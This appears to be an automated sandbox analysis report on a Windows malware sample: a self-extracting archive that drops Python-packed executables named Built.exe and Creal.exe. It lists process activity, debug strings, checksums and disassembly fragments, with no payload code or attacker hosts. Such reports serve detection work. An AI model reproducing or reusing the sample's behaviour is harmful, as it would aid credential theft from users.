Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Static file information: File size 24810296 > 1048576

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: Built.exe, 00000004.00000002.2178299171.00007FFD945E2000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: Built.exe, 00000004.00000002.2174319027.00007FFD9253F000.00000040.00000001.01000000.0000001F.sdmp, Creal.exe, 00000005.00000002.2432361806.00007FFD89E27000.00000002.00000001.01000000.00000032.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: Built.exe, 00000004.00000002.2175008965.00007FFD93AAA000.00000040.00000001.01000000.00000018.sdmp, Creal.exe, 00000005.00000002.2434226473.00007FFD8B43A000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: Built.exe, 00000004.00000002.2174692109.00007FFD93615000.00000040.00000001.01000000.00000019.sdmp, Creal.exe, 00000005.00000002.2433373548.00007FFD8AFA5000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"userSDIR: "C:\Program Files\OpenSSL\lib\users-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb(('GCTL source: Creal.exe, 00000005.00000002.2439456162.00007FFDA4634000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: Creal.exe, 00000002.00000003.2116454412.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Creal.exe, 00000002.00000003.2113278532.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000003.00000003.2098974146.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2210158040.00007FFDA54E3000.00000002.00000001.01000000.0000000C.sdmp, Creal.exe, 00000005.00000002.2439290824.00007FFDA4174000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: Built.exe, 00000004.00000002.2175008965.00007FFD93A12000.00000040.00000001.01000000.00000018.sdmp, Creal.exe, 00000005.00000002.2434226473.00007FFD8B3A2000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: Creal.exe, 00000002.00000003.2113278532.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000003.00000003.2098974146.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2210158040.00007FFDA54E3000.00000002.00000001.01000000.0000000C.sdmp, Creal.exe, 00000005.00000002.2439290824.00007FFDA4174000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: Built.exe, Built.exe, 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: Built.exe, Built.exe, 00000004.00000002.2175008965.00007FFD93AAA000.00000040.00000001.01000000.00000018.sdmp, Creal.exe, 00000005.00000002.2434226473.00007FFD8B43A000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: Creal.exe, 00000002.00000003.2116245484.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: Creal.exe, 00000002.00000003.2114341483.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: Built.exe, 00000004.00000002.2211113612.00007FFDA5B81000.00000040.00000001.01000000.00000014.sdmp, Creal.exe, 00000005.00000002.2438100824.00007FFD9F7F3000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: Built.exe, 00000004.00000002.2207256705.00007FFDA46E1000.00000040.00000001.01000000.0000000D.sdmp, Creal.exe, 00000005.00000002.2437686483.00007FFD9F3D3000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: Creal.exe, 00000002.00000003.2115776871.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Built.exe, Built.exe, 00000004.00000002.2205132237.00007FFDA3AE1000.00000040.00000001.01000000.0000001D.sdmp, Creal.exe, 00000005.00000002.2438752621.00007FFDA3BF6000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: Built.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2203329287.00007FFDA35EC000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: Creal.exe, 00000002.00000003.2114531562.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: Creal.exe, 00000005.00000002.2437048857.00007FFD9DA42000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: Creal.exe, 00000002.00000003.2116638050.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2208486691.00007FFDA4DA1000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2203329287.00007FFDA35EC000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: Creal.exe, 00000002.00000003.2114770522.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2209383720.00007FFDA54BE000.00000040.00000001.01000000.00000010.sdmp, Creal.exe, 00000005.00000002.2438283541.00007FFDA086D000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: Creal.exe, 00000005.00000002.2439456162.00007FFDA4634000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe, 00000000.00000000.2087291779.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmp, #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe, 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: Built.exe, Built.exe, 00000004.00000002.2206641962.00007FFDA4331000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: Built.exe, Built.exe, 00000004.00000002.2202084879.00007FFDA35A1000.00000040.00000001.01000000.00000011.sdmp, Creal.exe, 00000005.00000002.2433119716.00007FFD8A1FF000.00000002.00000001.01000000.0000002E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: Creal.exe, 00000005.00000002.2417262722.00000203E7250000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: Creal.exe, 00000005.00000002.2435297538.00007FFD93FA8000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: Creal.exe, 00000002.00000003.2114341483.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: Built.exe, Built.exe, 00000004.00000002.2174692109.00007FFD93615000.00000040.00000001.01000000.00000019.sdmp, Creal.exe, 00000005.00000002.2433373548.00007FFD8AFA5000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: Built.exe, Built.exe, 00000004.00000002.2193375861.00007FFDA33E1000.00000040.00000001.01000000.00000017.sdmp, Creal.exe, 00000005.00000002.2436764632.00007FFD9A26E000.00000002.00000001.01000000.0000002C.sdmp

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: VCRUNTIME140.dll.2.dr

Static PE information: 0x78BDDED1 [Sat Mar 11 17:01:05 2034 UTC]

Source: C:\Users\user\Desktop\Built.exe

Code function: 4_2_00007FFD93657A20 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

4_2_00007FFD93657A20

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

File created: C:\Users\user\Desktop\__tmp_rar_sfx_access_check_5019218

Jump to behavior

Source: sqlite3.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0xa890d
Source: _BLAKE2b.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x120c3
Source: _ed25519.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x10701
Source: _raw_ocb.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x11289
Source: _chacha20.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x351a
Source: _BLAKE2b.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x120c3
Source: _raw_aesni.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x646e
Source: _MD5.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xa544
Source: _raw_ocb.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x11289
Source: _curve25519.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x1023e
Source: _MD4.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x9e2d
Source: _raw_des3.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x1d746
Source: _ghash_clmul.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xac61
Source: libcrypto-3.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0x197f77
Source: _keccak.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xdc9d
Source: _ghash_portable.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xe5b7
Source: libffi-8.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0xa1d1
Source: _SHA256.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x6eb8
Source: _ssl.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0x1ee96
Source: _SHA512.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xdf25
Source: _raw_ofb.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x10ea2
Source: _MD2.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xeba3
Source: _rust.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x77a3da
Source: python312.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0x1c0022
Source: _ctypes.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0x16009
Source: _MD5.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xa544
Source: _raw_aesni.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x646e
Source: Built.exe.0.dr	Static PE information: real checksum: 0x7810dc should be: 0x787620
Source: _raw_cfb.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xed0d
Source: _raw_cast.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xc443
Source: _raw_cbc.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x5ba2
Source: _ed25519.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x10701
Source: _pkcs1_decode.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x10c34
Source: _Salsa20.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xb9f9
Source: _pkcs1_decode.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x10c34
Source: _modexp.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x172cd
Source: _decimal.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0x2a089
Source: select.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0xa27a
Source: _curve448.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x1a70d
Source: _strxor.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x48ff
Source: _MD4.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x9e2d
Source: _raw_ecb.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x4671
Source: _raw_ctr.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xdcf9
Source: _raw_des.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x13f62
Source: _poly1305.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xbf54
Source: _SHA384.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x1655d
Source: _poly1305.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xbf54
Source: _sqlite3.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0x15dfb
Source: libssl-3.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0x4330c
Source: _raw_aes.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xbec9
Source: _SHA224.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x1037a
Source: _cffi_backend.cp313-win_amd64.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x2f4d9
Source: _hashlib.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0xcc8b
Source: _raw_des3.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x1d746
Source: _ARC4.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x9b3a
Source: _SHA384.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x1655d
Source: _ec_ws.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xbf2b1
Source: _cpuid_c.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xdccc
Source: _cffi_backend.cp313-win_amd64.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x2f4d9
Source: _raw_cfb.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xed0d
Source: _ed448.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x1eae6
Source: _curve25519.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x1023e
Source: _SHA224.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x1037a
Source: _curve448.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x1a70d
Source: _strxor.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x48ff
Source: _raw_des.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x13f62
Source: _raw_ofb.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x10ea2
Source: _raw_ctr.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xdcf9
Source: _ec_ws.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xbf2b1
Source: _keccak.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xdc9d
Source: _queue.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0x11a1d
Source: _socket.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0x196aa
Source: _raw_eksblowfish.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xca96
Source: _ARC4.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x9b3a
Source: _raw_arc2.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x13220
Source: _BLAKE2s.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x5f6b
Source: _ed448.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x1eae6
Source: _SHA256.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x6eb8
Source: _MD2.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xeba3
Source: _ghash_portable.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xe5b7
Source: unicodedata.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0x4e672
Source: _SHA1.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xf079
Source: _raw_eksblowfish.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xca96
Source: _chacha20.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x351a
Source: _scrypt.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x4714
Source: _raw_blowfish.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xe4b7
Source: _raw_arc2.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x13220
Source: _lzma.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0x22ff2
Source: _scrypt.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x4714
Source: _modexp.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x172cd
Source: _RIPEMD160.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x69e1
Source: _rust.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x77a3da
Source: _raw_cbc.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x5ba2
Source: _Salsa20.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xb9f9
Source: _raw_cast.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xc443
Source: _ghash_clmul.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xac61
Source: _raw_blowfish.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xe4b7
Source: _RIPEMD160.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0x69e1
Source: _BLAKE2s.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x5f6b
Source: _bz2.pyd.3.dr	Static PE information: real checksum: 0x0 should be: 0x1bdb0
Source: _raw_aes.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xbec9
Source: _cpuid_c.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0xdccc
Source: _raw_ecb.pyd.2.dr	Static PE information: real checksum: 0x0 should be: 0x4671
Source: _SHA1.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xf079
Source: _SHA512.pyd.24.dr	Static PE information: real checksum: 0x0 should be: 0xdf25

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: section name: .didat
Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.2.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.2.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.2.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.2.dr	Static PE information: section name: .00cfg
Source: python313.dll.2.dr	Static PE information: section name: PyRuntim
Source: VCRUNTIME140.dll.3.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.3.dr	Static PE information: section name: _RDATA
Source: libffi-8.dll.3.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.24.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.24.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.24.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.24.dr	Static PE information: section name: .00cfg
Source: python313.dll.24.dr	Static PE information: section name: PyRuntim

Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD924382D8 push rdi; iretd	4_2_00007FFD924382DA
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92439327 push rsp; ret	4_2_00007FFD92439328
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435C31 push r10; ret	4_2_00007FFD92435C33
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92438419 push r10; retf	4_2_00007FFD92438485
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD9243808B push r12; iretd	4_2_00007FFD9243809F
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435EB4 push rsp; iretd	4_2_00007FFD92435EB5
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435E67 push rdi; iretd	4_2_00007FFD92435E69
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92439686 push rdx; ret	4_2_00007FFD924396DD
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92437689 push r12; ret	4_2_00007FFD924376CD
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435F56 push r12; ret	4_2_00007FFD92435F73
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92438F42 push rsp; iretq	4_2_00007FFD92438F43
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435F01 push r12; ret	4_2_00007FFD92435F10
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435FB9 push r10; ret	4_2_00007FFD92435FCC
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435F7B push r8; ret	4_2_00007FFD92435F83
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92437F67 push rbp; iretq	4_2_00007FFD92437F68
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92436859 push rsi; ret	4_2_00007FFD92436890
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92437FFF push r12; ret	4_2_00007FFD9243804A
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD924394B9 push rsp; retf	4_2_00007FFD924394BA
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435CED push rdx; ret	4_2_00007FFD92435CF7
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435CE0 push r10; retf	4_2_00007FFD92435CE2
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435CE5 push r8; ret	4_2_00007FFD92435CEB
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435D06 push r12; ret	4_2_00007FFD92435D08
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92438DBF push rsp; retf	4_2_00007FFD92438DC0
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD9243763E push rbp; retf	4_2_00007FFD92437657
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435DF7 push r10; retf	4_2_00007FFD92435DFA
